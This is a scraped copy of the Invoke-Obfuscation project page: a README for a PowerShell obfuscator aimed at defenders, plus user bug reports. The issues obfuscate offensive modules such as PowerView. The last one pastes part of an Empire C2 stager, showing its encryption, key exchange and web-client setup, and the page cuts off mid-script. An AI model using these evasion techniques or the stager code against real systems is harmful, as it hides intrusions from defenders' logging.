Code Monkey home page Code Monkey logo

invoke-obfuscation's Introduction

Invoke-Obfuscation v1.8

Invoke-Obfuscation Screenshot

Introduction

Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator.

Background

In the Fall of 2015 I decided to begin researching the flexibility of PowerShell's language and began cataloguing the various ways to accomplish a handful of common techniques that most attackers use on a regular basis.

Initially focusing on encoded command and remote download cradle syntaxes, I discovered that various escape characters that did not hinder the execution of the command persisted in the command line arguments, both in the running process as well as what is logged in Security EID 4688 and Sysmon EID 1 event logs. This led me to systematically explore ways of obfuscating each kind of "token" found in any PowerShell command or script.

I then explored more obscure ways to perform string-level obfuscation, various encoding/encrypting techniques (like ASCII/hex/octal/binary and even SecureString), and finally PowerShell launch techniques to abstract the command line arguments from powershell.exe and to push it back to the parent and even grandparent process.

Purpose

Attackers and commodity malware have started using extremely basic obfuscation techniques to hide the majority of the command from the command line arguments of powershell.exe. I developed this tool to aid the Blue Team in simulating obfuscated commands based on what I currently know to be syntactically possible in PowerShell 2.0-5.0 so that they can test their detection capabilities of these techniques.

The tool's sole purpose is to break any assumptions that we as defenders may have concerning how PowerShell commands can appear on the command line. My hope is that it will encourage the Blue Team to shift to looking for Indicators of Obfuscation on the command line in addition to updating PowerShell logging to include Module, ScriptBlock and Transcription logging as these sources simplify most aspects of the obfuscation techniques generated by this tool.

Usage

While all of the layers of obfuscation have been built out into separate scripts, most users will find the Invoke-Obfuscation function to be the easiest way to explorer and visualize the obfuscation techniques that this framework currently supports.

Installation

The source code for Invoke-Obfuscation is hosted at Github, and you may download, fork and review it from this repository (https://github.com/danielbohannon/Invoke-Obfuscation). Please report issues or feature requests through Github's bug tracker associated with this project.

To install:

Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

License

Invoke-Obfuscation is released under the Apache 2.0 license.

Release Notes

v1.0 - 2016-09-25 DerbyCon 6.0 (Louisville, Kentucky USA): PUBLIC Release of Invoke-Obfuscation.

v1.1 - 2016-10-09 SANS DFIR Summit (Prague, Czech Republic): Added -f format operator re-ordering functionality to all applicable TOKEN obfuscation functions. Also added additional syntax options for setting variable values.

v1.2 - 2016-10-20 CODE BLUE (Tokyo, Japan): Added Type TOKEN obfuscation (direct type casting with string obfuscation options for type name).

v1.3 - 2016-10-22 Hacktivity (Budapest, Hungary): Added two new LAUNCHERs: CLIP+ and CLIP++. Also added additional (and simpler) array char conversion syntax for all ENCODING functions that does not require For-EachObject/%.

v1.4 - 2016-10-28 BruCON (Ghent, Belgium): Added new BXOR ENCODING function. Also enhanced randomized case for all components of all ENCODING functions as well as for PowerShell execution flags for all LAUNCHERs. Finally, added -EP shorthand option for -ExecutionPolicy to all LAUNCHERs as well as the optional integer representation of the -WindowStyle PowerShell execution flag: Normal (0), Hidden (1), Minimized (2), Maximized (3).

v1.5 - 2016-11-04 Blue Hat (Redmond, Washington USA): Added WMIC LAUNCHER with some randomization of WMIC command line arguments.

v1.6 - 2017-01-24 Blue Hat IL (Tel Aviv, Israel):

  • Added CLI functionality: E.g., Invoke-Obfuscation -ScriptBlock {Write-Host 'CLI FTW!'} -Command 'Token\All\1, Encoding\1,Launcher\Stdin++\234,Clip' -Quiet -NoExit
  • Added UNDO functionality to remove one layer of obfuscation at a time.
  • Removed Whitespace obfuscation from Token\All\1 to speed up large script obfuscation.
  • Added Process Argument Tree output for all launchers to aid defenders.
  • Added base menu auto-detect functionality to avoid needing to use BACK or HOME: E.g., if you ran TOKEN then ALL then 1, then just type LAUNCHER and you will get to the LAUNCHER menu without needing to type HOME or BACK to get back to the home menu.
  • Added multi-command syntax utilized by CLI and interactive mode: E.g., Token\All\1,String\3,Encoding\5,Launcher\Ps\234,Clip
  • Added regex capability to all menu and obfuscation commands: E.g., Token**,String[13],Encoding(1|6),Launcher.*[+]{2}\234,Clip
  • Added OUT FILEPATH single command functionality.
  • Added decoding if powershell -enc syntax is entered as a SCRIPTBLOCK value.
  • Added alias ForEach to ForEach-Object/% randomized syntax options in all ENCODING functions.
  • Added -Key -Ke -K KEY substring syntax options to Out-SecureStringCommand.ps1.
  • Added more thorough case randomization to all \Home\String obfuscation functions.
  • Added -ST/-STA (Single-Threaded Apartment) flags to CLIP+ and CLIP++ launcher functions since they are required if running on PowerShell 2.0.
  • Added Get-Item/GI/Item syntax everywhere where Get-ChildItem is used to get variable values.
  • Added Set-Item variable instantiation syntax to TYPE obfuscation function.
  • Added additional Invoke-Expression/IEX syntax using PowerShell automatic variables and environment variable value concatenations in Out-ObfuscatedStringCommand.ps1's Out-EncapsulatedInvokeExpression function and copied to all launchers, STRING and ENCODING functions to add numerous command-line syntaxes for IEX.
  • Added two new JOIN syntaxes for String\Reverse and all ENCODING obfuscation options:
  1. Added [String]::Join('',$string) JOIN syntax
  2. Added OFS-variable JOIN syntax (Output Field Separator automatic variable)
  • Added two more SecureString syntaxes to Encoding\5:
  1. PtrToStringAnsi / SecureStringToGlobalAllocAnsi
  2. PtrToStringBSTR / SecureStringToBSTR
  • Added six GetMember alternate syntaxes for several SecureString members:
  1. PtrToStringAuto, ([Runtime.InteropServices.Marshal].GetMembers()[3].Name).Invoke
  2. PtrToStringAuto, ([Runtime.InteropServices.Marshal].GetMembers()[5].Name).Invoke
  3. PtrToStringUni , ([Runtime.InteropServices.Marshal].GetMembers()[2].Name).Invoke
  4. PtrToStringUni , ([Runtime.InteropServices.Marshal].GetMembers()[4].Name).Invoke
  5. PtrToStringAnsi, ([Runtime.InteropServices.Marshal].GetMembers()[0].Name).Invoke
  6. PtrToStringAnsi, ([Runtime.InteropServices.Marshal].GetMembers()[1].Name).Invoke
  • Updated Out-ObfuscatedTokenCommand.ps1 so that VARIABLE obfuscation won't encapsulate variables in ${} if they are already encapsulated (so ${${var}} won't happen as this causes errors).
  • Replaced Invoke-Obfuscation.psm1 with Invoke-Obfuscation.psd1 (thanks @Carlos_Perez).
  • Fixed several TOKEN-level obfuscation bugs reported by @cobbr_io and @IISResetMe.

v1.7 - 2017-03-03 nullcon (Goa, India):

  • Added 3 new LAUNCHERs: RUNDLL, RUNDLL++ and MSHTA++
  • Added additional ExecutionContext wildcard variable strings

v1.8 - 2017-07-27 Black Hat (Las Vegas, Nevada USA):

  • Added 2 new ENCODING options: Special Characters and Whitespace

v1.8.1 - 2017-12-19:

  • Added COMPRESS function for easier conversion of multi-line scripts to a one-liner command while drastically reducing the command length for cmd.exe command line length limitation purposes.

v1.8.2 - 2018-01-04:

  • Added AST obfuscation functions, which obfuscates by manipulating the structure of the AbstractSyntaxTree without using many special characters.

invoke-obfuscation's People

Contributors

4d4c avatar cobbr avatar danielbohannon avatar mvle avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

invoke-obfuscation's Issues

Force Close

Hello,
When I try to init Invoke-Obfuscation my Powershell console force close. I enter this command :
Import-Module ./Invoke-Obfuscation.ps1
Invoke-Obfuscation
Then the last command my shell force close.
Thanks for your help !
Windows 10 - Fall Creator Update - Powershell V5.1

No ScriptPath input?

Hello there,

I just downloaded and tested since yesterday. Looking into the "Invoke-Obfuscation.ps1" code at line 87, I notices it reads "[Parameter(Position = 0, ParameterSetName = 'ScriptBlock')]" while it should be "[Parameter(Position = 0, ParameterSetName = 'ScriptPath')]" I think. Anyway, after manually changing it, I could get it to obfuscate by filename.

Doing so, it would also be nice to hide Show-AsciiArt and the next Start-Sleep to speed up bulk obfucations with the "-Quiet" option. Had to do that manually too.

Kind regards, Geeeert

Out-ObfuscatedTokenCommand

Hi, when I load my script in Invoke-Obfuscation and try to use TOKEN\String or any other obfuscation method I get following error:

Out-ObfuscatedTokenCommand : The term 'Out-ObfuscatedTokenCommand' is not recognized as the name of a cmdlet, function, script file, or operable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At C:\Users\test\Documents\Safe-Area-no-AV\Invoke-Obfuscation-master\Invoke-Obfuscation.ps1:1232 char:61

  • ... $Script:ObfuscatedCommand = Out-ObfuscatedTokenCommand ...
  •                                    ~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : ObjectNotFound: (Out-ObfuscatedTokenCommand:String) [], CommandNotFoundException
    • FullyQualifiedErrorId : CommandNotFoundException

I imported All modules even manually and still same error.
I Unblocked All modules.

Any suggestions?

Some Encoding tecniques slow down script execution

Hi Daniel,

Thanks for this awesome project!

I've experienced that on moderately long PS1 scripts (~50kb) , some of the encoding 'schemes' slow down script execution considerably.

I've tracked down the 'offending' code down to

 FAST - >$BaseScriptArray += "[$CharStr[]]" + ' '*(Get-Random -Input @(0,1)) + $Enc[...]
SLOW ->$BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $Delimit[...]
SLOW -> #$BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $Delimit[...]
SLOW ->$BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray [...]

Error with imbalanced parentheses during Token obfuscation

Problem

There seems to be an issue that can arise when doing string token obfuscation when using one of the special characters that use the string "replace" obfuscation. I encountered this issue when obfuscating the Get-SQLColumnSampleData module in Empire.

Steps to reproduce

PS > Invoke-Obfuscation -ScriptPath 'https://raw.githubusercontent.com/EmpireProject/Empire/2.0_beta/data/module_source/collection/Get-SQLColumnSampleData.ps1' -Command 'Token\All\1' -Quiet
Exception calling "Create" with "1" argument(s): "At line:843 char:23
+         HelpMessage = {("{3}{4}{1}{0}{2}"-f 'tput anyt','ou','hing.', ...
+                       ~
Missing closing '}' in statement block or type definition.
At line:843 char:85
+ ... ("{3}{4}{1}{0}{2}"-f 'tput anyt','ou','hing.','DonCK','Et ')).REplacE ...
+                                                                  ~
Missing ] at end of attribute or type literal.
At line:843 char:85
+ ... ("{3}{4}{1}{0}{2}"-f 'tput anyt','ou','hing.','DonCK','Et ')).REplacE ...
+                                                                  ~
Parameter declarations are a comma-separated list of variable names with optional initializer expressions.
At line:843 char:85
+ ... ("{3}{4}{1}{0}{2}"-f 'tput anyt','ou','hing.','DonCK','Et ')).REplacE ...
+                                                                  ~
Missing ')' in function parameter list."

The problem can be minimized with this script as input:

PS> cat .\test.ps1
Function Get-DomainObject {
    [CmdletBinding()]
    Param(
        [Parameter(HelpMessage = 'domain\user')]
        [string]$Username
    )
}
PS > Invoke-Obfuscation -ScriptPath .\test.ps1 -Command 'Token\All\1' -Quiet
Exception calling "Create" with "1" argument(s): "At line:4 char:34
+         [Parameter(HelpMessage = {("{2}{0}{4}{1}{3}" -f'om','P','d',' ...
+                                  ~
Missing closing '}' in statement block or type definition.
At line:4 char:85
+ ... Message = {("{2}{0}{4}{1}{3}" -f'om','P','d','Huser','ain6')).rEPLAce ...
+                                                                  ~
Missing ] at end of attribute or type literal.
At line:4 char:85
+ ... Message = {("{2}{0}{4}{1}{3}" -f'om','P','d','Huser','ain6')).rEPLAce ...
+                                                                  ~
Parameter declarations are a comma-separated list of variable names with optional initializer expressions.
At line:4 char:85
+ ... Message = {("{2}{0}{4}{1}{3}" -f'om','P','d','Huser','ain6')).rEPLAce ...

It may take a few tries to reproduce the error, as the error only occurs when the ".replace()" method of replacement is randomly selected.

Solution

The issue appears to stem from this section of code in Out-ObfuscatedTokenCommand.ps1:

# Evenly trim leading/trailing parentheses.
While($ObfuscatedToken.StartsWith('(') -AND $ObfuscatedToken.EndsWith(')'))
{
    $ObfuscatedToken = ($ObfuscatedToken.SubString(1,$ObfuscatedToken.Length-2)).Trim()
}

When the ".replace()" technique of replacement is used it results in an $ObfuscatedToken of this form: (something).replace(something). You can see why trimming the leading and trailing parentheses wouldn't work in this case.

This can be fixed by checking if the parantheses are properly balanced post-trim before permanently removing the parentheses:

# Evenly trim leading/trailing parentheses.
While($ObfuscatedToken.StartsWith('(') -AND $ObfuscatedToken.EndsWith(')'))
{
    $TrimmedObfuscatedToken = ($ObfuscatedToken.SubString(1,$ObfuscatedToken.Length-2)).Trim()
    # Check if the parentheses are balanced before permenantly trimming
    $Balanced = $True
    $Counter = 0
    ForEach($char in $TrimmedObfuscatedToken.ToCharArray()) {
        If($char -eq '(') {
            $Counter = $Counter + 1
        }
        ElseIf($char -eq ')') {
            If($Counter -eq 0) {
                $Balanced = $False
                break
            }
            Else {
                $Counter = $Counter - 1
            }
        }
    }
    # If parantheses are balanced, we can safely trim the parentheses
    If($Balanced -and $Counter -eq 0) {
        $ObfuscatedToken = $TrimmedObfuscatedToken
    }
    # If parentheses cannot be trimmed, break out of loop
    Else {
        break
    }
}

There might be other ways of solving it, but this was the only one I could think of. There is another suspiciously similar looking block of code in Out-ObfuscatedTokenCommand.ps1:

# Evenly trim leading/trailing parentheses.
While($ObfuscatedSubToken.StartsWith('(') -AND $ObfuscatedSubToken.EndsWith(')'))
{
    $ObfuscatedSubToken = ($ObfuscatedSubToken.SubString(1,$ObfuscatedSubToken.Length-2)).Trim()
}

I haven't run into any problems from this block of code, but it may be worth investigating as well.

Obfuscated script contains newline symbols

I'm using the following method to obfuscate a file,

powershell -ep bypass Import-Module .\Invoke-Obfuscation.psd1; Out-ObfuscatedStringCommand -Path c:\my.ps1 > c:\out.ps1

But the script created contains newline symbols and will not execute. I will have to remove the \r\n symbols manually

Any ideas?

TOKEN obfuscation problem with filter names

Problem

I might be going crazy here, but I'm still experiencing #4

Steps to Reproduce

PS> git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
PS> wget https://github.com/EmpireProject/Empire/raw/master/data/module_source/situational_awareness/network/powerview.ps1 -OutFile powerview.ps1
PS> Import-Module .\Invoke-Obfuscation\Invoke-Obfuscation.psd1
PS> Invoke-Obfuscation -ScriptPath .\powerview.ps1 -Command "TOKEN,ALL,1" -Quiet | Out-File -Encoding ASCII out
Exception calling "Create" with "1" argument(s): "At line:445 char:7
+ filter ("{5}{0}{3}{2}{1}{4}" -f'w','iewCS','V','er','V','Export-Po')  ...
+       ~
Missing name after filter keyword.
At line:445 char:70
+ ... ilter ("{5}{0}{3}{2}{1}{4}" -f'w','iewCS','V','er','V','Export-Po') {
+                                                                         ~
Unexpected token '{' in expression or statement.
At line:476 char:7
+ filter ("{3}{1}{2}{0}" -f 'ress','t-I','PAdd','Ge') {
+       ~
Missing name after filter keyword.
At line:476 char:53
+ filter ("{3}{1}{2}{0}" -f 'ress','t-I','PAdd','Ge') {
+                                                     ~

Thecommand too larger

This command exceeds the cmd.exe maximum length of 8190.
Its length is 80361 characters.

Parsing error: "The Unicode escape sequence is not valid."

Hey there.

Great project, and looking forward to playing with it moving forward.

I'm running PS 6.0.0-beta on Linux (Ubuntu), and trying to obfuscate a couple of payloads but keep getting a 'The Unicode escape sequence is not valid' error. I'm unsure if this is due to my environment, or if its the latest beta of PS itself.

Let me know if you need more info or need me to test something. Thanks!

Name Value
---- ----- > PSVersion 6.0.0-beta
PSEdition Core
GitCommitId v6.0.0-beta.5
OS Linux 4.4.* UTC 2017
Platform Unix
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
WSManStackVersion 3.0

Command and output:

$ powershell -Command 'Invoke-Obfuscation -ScriptPath data/misc/ToObfuscate.ps1 -Command "Token,All,1" -Quiet | Out-File -Encoding ASCII data/misc/Obfuscated.ps1'

$ powershell -Command 'Invoke-Obfuscation -ScriptPath data/misc/ToObfuscate.ps1 -Command "Token,All,1" -Quiet | Out-File -Encoding ASCII data/misc/Obfuscated.ps1'
Exception calling "Create" with "1" argument(s): "At line:55 char:34
+         ${e`MA`i`LsuB`jEcT} = ${s`ubjE`CT}
+                                  ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:83 char:12
+         ${o`ut`loOk} = Get-OutlookInstance
+            ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:100 char:71
+ ... stem.Runtime.Interopservices.Marshal]::ReleaseComObject(${o`uTlO`oK}) ...
+                                                                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:121 char:32
+         [System.__ComObject]${o`utlook},
+                                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:156 char:16
+             ${r`u`LEs} = ${M`Api}.DefaultStore.GetRules()
+                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:159 char:31
+             ${S`UBte`XT} = ${R`uLe}.Conditions.Subject
+                               ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:162 char:16
+             ${s`ubte`xt}.Text = ${F`LA`gS}
+                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:168 char:20
+                 ${n`ulL},
+                    ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:240 char:17
+         [int]${n`um}
+                 ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:303 char:51
+     ${val`UE} = ${OLd`Efau`l`TfOlDERs}.Item(${DeFa`ul`TFOLDEr`N`AME})
+                                                   ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
Not all parse errors were reported.  Correct the reported errors and try again."
At /usr/local/share/powershell/Modules/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1:137 char:13
+             $ScriptString = Out-ObfuscatedTokenCommand ([ScriptBlock] ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ParseException
 
Exception calling "Create" with "1" argument(s): "At line:55 char:34
+         ${e`MA`i`LsuB`jEcT} = ${s`ubjE`CT}
+                                  ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:83 char:12
+         ${o`ut`loOk} = Get-OutlookInstance
+            ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:100 char:71
+ ... stem.Runtime.Interopservices.Marshal]::ReleaseComObject(${o`uTlO`oK}) ...
+                                                                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:121 char:32
+         [System.__ComObject]${o`utlook},
+                                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:156 char:16
+             ${r`u`LEs} = ${M`Api}.DefaultStore.GetRules()
+                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:159 char:31
+             ${S`UBte`XT} = ${R`uLe}.Conditions.Subject
+                               ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:162 char:16
+             ${s`ubte`xt}.Text = ${F`LA`gS}
+                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:168 char:20
+                 ${n`ulL},
+                    ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:240 char:17
+         [int]${n`um}
+                 ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:303 char:51
+     ${val`UE} = ${OLd`Efau`l`TfOlDERs}.Item(${DeFa`ul`TFOLDEr`N`AME})
+                                                   ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
Not all parse errors were reported.  Correct the reported errors and try again."
At /usr/local/share/powershell/Modules/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1:137 char:13
+             $ScriptString = Out-ObfuscatedTokenCommand ([ScriptBlock] ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ParseException
 
Exception calling "Create" with "1" argument(s): "At line:55 char:34
+         ${e`MA`i`LsuB`jEcT} = ${s`ubjE`CT}
+                                  ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:83 char:12
+         ${o`ut`loOk} = Get-OutlookInstance
+            ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:100 char:71
+ ... stem.Runtime.Interopservices.Marshal]::ReleaseComObject(${o`uTlO`oK}) ...
+                                                                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:121 char:32
+         [System.__ComObject]${o`utlook},
+                                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:156 char:16
+             ${r`u`LEs} = ${M`Api}.DefaultStore.GetRules()
+                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:159 char:31
+             ${S`UBte`XT} = ${R`uLe}.Conditions.Subject
+                               ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:162 char:16
+             ${s`ubte`xt}.Text = ${F`LA`gS}
+                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:168 char:20
+                 ${n`ulL},
+                    ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:240 char:17
+         [int]${n`um}
+                 ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:303 char:51
+     ${val`UE} = ${OLd`Efau`l`TfOlDERs}.Item(${DeFa`ul`TFOLDEr`N`AME})
+                                                   ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
Not all parse errors were reported.  Correct the reported errors and try again."
At /usr/local/share/powershell/Modules/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1:137 char:13
+             $ScriptString = Out-ObfuscatedTokenCommand ([ScriptBlock] ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ParseException
 
Exception calling "Create" with "1" argument(s): "At line:55 char:34
+         ${e`MA`i`LsuB`jEcT} = ${s`ubjE`CT}
+                                  ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:83 char:12
+         ${o`ut`loOk} = Get-OutlookInstance
+            ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:100 char:71
+ ... stem.Runtime.Interopservices.Marshal]::ReleaseComObject(${o`uTlO`oK}) ...
+                                                                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:121 char:32
+         [System.__ComObject]${o`utlook},
+                                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:156 char:16
+             ${r`u`LEs} = ${M`Api}.DefaultStore.GetRules()
+                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:159 char:31
+             ${S`UBte`XT} = ${R`uLe}.Conditions.Subject
+                               ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:162 char:16
+             ${s`ubte`xt}.Text = ${F`LA`gS}
+                ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:168 char:20
+                 ${n`ulL},
+                    ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:240 char:17
+         [int]${n`um}
+                 ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
At line:303 char:51
+     ${val`UE} = ${OLd`Efau`l`TfOlDERs}.Item(${DeFa`ul`TFOLDEr`N`AME})
+                                                   ~~
The Unicode escape sequence is not valid. A valid sequence is `u{ followed by one to six hex digits and a closing '}'.
Not all parse errors were reported.  Correct the reported errors and try again."
At /usr/local/share/powershell/Modules/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1:137 char:13
+             $ScriptString = Out-ObfuscatedTokenCommand ([ScriptBlock] ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ParseException

Obfuscation causes script to not execute properly

Problem

I discovered this issue while trying to obfuscate stagers produced by the Empire project.

When obfuscating the Empire stager, it no longer executes properly. I am able to correct this by disabling string TOKEN, member TOKEN levels 3 and 4, and command TOKEN obfuscation types. My hunch is that it all traces back to something in string TOKEN obfuscation.

Output

Here is the stager script prior to any obfuscation:

fUNcTiON STARt-NegoTIATe {parAm($s,$SK,$UA='MoZilLA/5.0 (WIndOWS NT 6.1; WOW64; TrIDeNt/7.0; rv:11.0) LiKe GEcKo')FUnCTiON COnverTTo-RC4BYtEStrEam {PaRaM ($RCK, $IN)BegIn {[BYTe[]] $S = 0..255;$J = 0;0..255 | FOREAcH-OBjecT {$J = ($J + $S[$_] + $RCK[$_ % $RCK.LeNGtH]) % 256;$S[$_], $S[$J] = $S[$J], $S[$_];};$I = $J = 0;}pRocEsS {ForEacH($BYTE in $IN) {$I = ($I + 1) % 256;$J = ($J + $S[$I]) % 256;$S[$I], $S[$J] = $S[$J], $S[$I];$BytE -BXOR $S[($S[$I] + $S[$J]) % 256];}}}FunctIoN DeCRypt-BYtes {Param ($KEY, $IN)IF($IN.LeNgTH -Gt 32) {$HMAC = NEw-ObJect SySTem.SeCURity.CryptoGRAPhY.HMACSHA256;$E=[SYStEm.TeXT.EncoDinG]::ASCII;$MAc = $In[-10..-1];$In = $IN[0..($In.LEngtH - 11)];$HMaC.Key = $e.GETBYteS($Key);$ExPeCted = $HmAC.ComPUTEHaSH($In)[0..9];IF (@(COMpARe-ObJect $MAC $ExpeCTed -SYnc 0).LeNGTH -nE 0) {rETURN;}$IV = $IN[0..15];$AES = NeW-OBJect SYstEm.SEcuRiTy.CrYPtoGRApHy.AEsCRYPTOSErVICEProViDEr;$AES.Mode = "CBC";$AES.KEY = $E.GETByTes($Key);$AES.IV = $IV;($AES.CREateDecrYPtor()).TrAnSfORmFInAlBlock(($IN[16..$In.LeNGTh]), 0, $In.LEngth-16)}}$Null = [Reflection.Assembly]::LoadWithPartialName("System.Security");$Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");$ErrorActionPreference = "SilentlyContinue";$E=[SYSTEm.TexT.ENcODIng]::ASCII;$customHeaders = "";$SKB=$E.GetByTES($SK);$AES=NEw-ObjECT System.SecURITY.CrYptography.AEsCrypToSerVicePROvider;$IV = [byTE] 0..255 | Get-RANDOM -cOUnt 16;$AES.Mode="CBC";$AES.KEy=$SKB;$AES.IV = $IV;$HmAc = New-ObJECT SYStEm.SecurITY.CrYpTOGRAphy.HMACSHA256;$HMaC.Key = $SKB;$CsP = NEW-OBjECt System.SeCuRITY.CrYptoGRAphy.CspParamEtErs;$CSP.FlAGs = $CSP.FlagS -BOR [SysTEm.SecuRity.CrypToGrAPhY.CspPRovIDerFLaGS]::UsEMAchineKEYStOrE;$Rs = NeW-OBjECT SYsTeM.SECURITY.CrYpTogRAPHY.RSACRyPTOSErvicEPROvider -ARGUMentLIST 2048,$CSP;$rk=$rS.TOXmlSTrING($FalsE);$ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8);$ib=$E.getBytES($Rk);$EB=$IV+$AES.CrEAteENcrypTor().TRAnsFORMFInALBlocK($IB,0,$iB.LeNgth);$eb=$eb+$Hmac.ComPUTEHAsh($Eb)[0..9];if(-NoT $WC) {$wC=NeW-OBjeCt SYSTEM.NEt.WebCliEnt;$WC.PRoxy = [SySTEm.NEt.WEBREQUESt]::GetSysTemWEbProXY();$wc.PRoXy.CrEdentIalS = 